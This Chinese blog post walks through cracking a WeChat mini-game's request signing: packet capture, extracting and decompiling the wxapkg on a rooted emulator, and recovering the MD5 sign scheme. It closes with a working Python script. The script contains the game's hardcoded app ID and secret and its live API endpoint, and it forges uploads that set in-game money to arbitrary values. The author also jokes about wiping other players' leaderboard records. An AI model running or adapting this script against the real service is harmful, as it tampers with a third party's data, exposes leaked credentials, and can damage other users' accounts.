渗透测试之微信小程序破解

2019/8/9 5:22:20 人评论 次浏览 分类:开发资料

在移动互联的时代,手机端业务越来越多,最普遍的就是微信小程序。最近项目测试的时候发现现在的程序员的安全意识越来越好,很多业务都采用了签名来校验数据包,这样,如果不知道sign算法的话对于安全测试人员来说就无法修改数据,也就无法得知漏洞是否存在了。

本次以一个微信小游戏为例,第一次尝试,发现后面水很深,要学的好多,先学习个简单的,走个流程先。

微信小游戏:消灭病毒

0x01 抓包

打开游戏->抓包

手机抓包就不再详细说了,如果抓不到数据包,网上搜下方法。

按照常规操作,修改个数据,发现返回错误代码

{"code":1000}

还原原始数据,发现正常返回

{"data":{},"code":0}

后续试了下,发现不论哪个字段,只要数据包被篡改就返回错误。

看到最后的sign字段,然后也没有session、cookie等身份校验的字段,基本上就是因为sign校验不通过导致的。

所以,只要知道了sign算法,应该就可以直接篡改数据了

0x02 获取wxapkg文件

使用模拟器(ROOT)打开微信,搜索小程序。

可能会有打不开、闪退的情况,但是不要紧,因为资源已经被下载下来了。

之前不知道,一直没办法获取源码,后来网上搜到个神器,使用“ RE管理器” 可以读取到对应的文件目录。

安装完之后,打开小程序,然后在“ RE管理器 ”里面打开目录: /data/data/com.tencent.mm/MicroMsg/

这一大串随机字符串就是微信目录了,打开目录: /appbrand/pkg

这里面就是我们安装的小程序的源码包

0x03 反编译wxapkg获取源文件

Github上已经有大神写的node.js版本的,当然也有其它版本的,例如python版本,不用管什么版本的,能用就行了。

GitHub地址:

https://github.com/qwerty472123/wxappUnpacker

进入到下载好的反编译脚本目录下,在node命令窗口中依次安装需要的依赖。

项目中列出来的需要安装的依赖不全,如果报错,看下issues就行了,下面是在我能运行状态下安装的依赖。

/Users/w2n1ck/Desktop/wx/wxappUnpacker
├─┬ css-tree@1.0.0-alpha.34
│ ├── mdn-data@2.0.4
│ └── source-map@0.5.7
├── cssbeautify@0.3.1
├── esprima@4.0.1
├─┬ js-beautify@1.10.1
│ ├─┬ config-chain@1.1.12
│ │ ├── ini@1.3.5
│ │ └── proto-list@1.2.4
│ ├─┬ editorconfig@0.15.3
│ │ ├── commander@2.20.0
│ │ ├─┬ lru-cache@4.1.5
│ │ │ ├── pseudomap@1.0.2
│ │ │ └── yallist@2.1.2
│ │ ├── semver@5.7.0
│ │ └── sigmund@1.0.1
│ ├─┬ glob@7.1.4
│ │ ├── fs.realpath@1.0.0
│ │ ├─┬ inflight@1.0.6
│ │ │ └── wrappy@1.0.2
│ │ ├── inherits@2.0.4
│ │ ├─┬ minimatch@3.0.4
│ │ │ └─┬ brace-expansion@1.1.11
│ │ │   ├── balanced-match@1.0.0
│ │ │   └── concat-map@0.0.1
│ │ ├── once@1.4.0
│ │ └── path-is-absolute@1.0.1
│ ├─┬ mkdirp@0.5.1
│ │ └── minimist@0.0.8
│ └─┬ nopt@4.0.1
│   ├── abbrev@1.1.1
│   └─┬ osenv@0.1.5
│     ├── os-homedir@1.0.2
│     └── os-tmpdir@1.0.2
├─┬ uglify-es@3.3.9
│ ├── commander@2.13.0
│ └── source-map@0.6.1
├── vm2@3.8.2

然后运行运行脚本

node wuWxapkg.js <file>

这样就成功获取到该小程序的源代码了

0x04 源码分析

因为开始我们已经知道上传的接口是: api/archive/upload

一个文件中都有四5万行代码,一行一行分析的话,太浪费时间了(主要是我也看不懂,2333…)

所以,我是根据特征直接在源码中搜的

定位到具体位置

可以看到数据包都经过了sign处理

然后搜索关键字: sign

可以看到 t 中包含的所有的字段属性和我们抓包时候的一样,基本上可以确认就是这个了。同时,在传输数据的时候,将 wx_appid 、 wx_secret 删除了

搜索关键字: zn ,定位具体函数

可以看到就是使用了md5进行了加密。

0x05 脚本编写

根据源码看到,sign是将post的所有字段和 wx_appid 、 wx_secret 一起进行了md5加密,这样,sign的算法已经知道了。

但是,死活没有在源码中找到两个变量,网上搜索,发现新版本是动态加载的,然后我在“ 微信开发者工具” 中导入源码之后一直卡在85%,没办法运行,也就导致没办法动态调试获取到 wx_appid 、 wx_secret 的变量值了。

随后网上搜了下这个游戏的破解文章,发现早期版本的代码中是直接硬编码这两个变量的,后面试了下,没想到还能用。

这样就全部都有了,写个脚本,根据修改后的数据生成对应的sign即可。

# -*- coding: utf-8 -*-
import hashlib
import json
import time
import requests

def get_sign(data):
    if 'sign' in data:
        data.pop('sign')
    items = list(data.items())
    items.append(('wx_appid', 'wxa2c324b63b2a9e5e'))
    items.append(('wx_secret', '8fbd540d0b23197df1d5095f0d6ee46d'))
    items.sort()
    _data = ""
    for key, value in items:
        _data += (key + "=" + str(value) + "&")
    _data = _data[:-1]
    return hashlib.md5(_data.encode('utf-8')).hexdigest()

def request_action(action, **kws):
    url = 'https://wxwyjh.chiji-h5.com/api/archive/{}'.format(action)
    data = {
        'plat': 'wx',
        'time': int(time.time() * 1000),
    }
    data.update(kws)
    data['sign'] = get_sign(data)
    r = requests.post(url, json=data)
    data = r.json()
    if data['code'] == 0:
        print('[ * ] {} OK.'.format(action))
    return data

def get_record(openid):
    r = request_action('get', openid=openid)
    record = json.loads(r['data']['record'])
    return record

if __name__ == '__main__':
    uid = 'xxxx'
    record = get_record(uid)
    record['money'] = '9999999999'
    record['zuanShi'] = '9000'
    openid = record['uid']
    record['sign'] = get_sign(record)
    record = json.dumps(record)
    request_action('upload', openid=openid, record=record)
    new_record = get_record(uid)
    print(new_record)

看下效果图:

至此,我们就可以达到任意篡改数据的目的了。

当然,看到那些排行榜的用户不爽的话,直接将他们的数据改到解放前(openid在源码中能找到),哈哈哈…

PS:以上想法纯属意淫,请勿当真!!!

谨以此文献给我那位“为了升级打怪天天看广告”的兄弟.

赞赏

相关教程

  • 微信小程序卡券开发(亲测)

    提示:小程序卡券和公众平台调用基本一致,请先查看公众平台卡券文档一、公众帐号/小程序绑定由于微信卡券用的是一套逻辑。所以小程序需要先和公众账号绑定,才能在小程序中调起公众平台卡券登录微信公众平台:https://open.weixin.qq.com/ 进行绑定操作二、公众号卡券添加小……

    2017/6/3 18:45:01

共有访客发表了评论 网友评论

验证码: 看不清楚?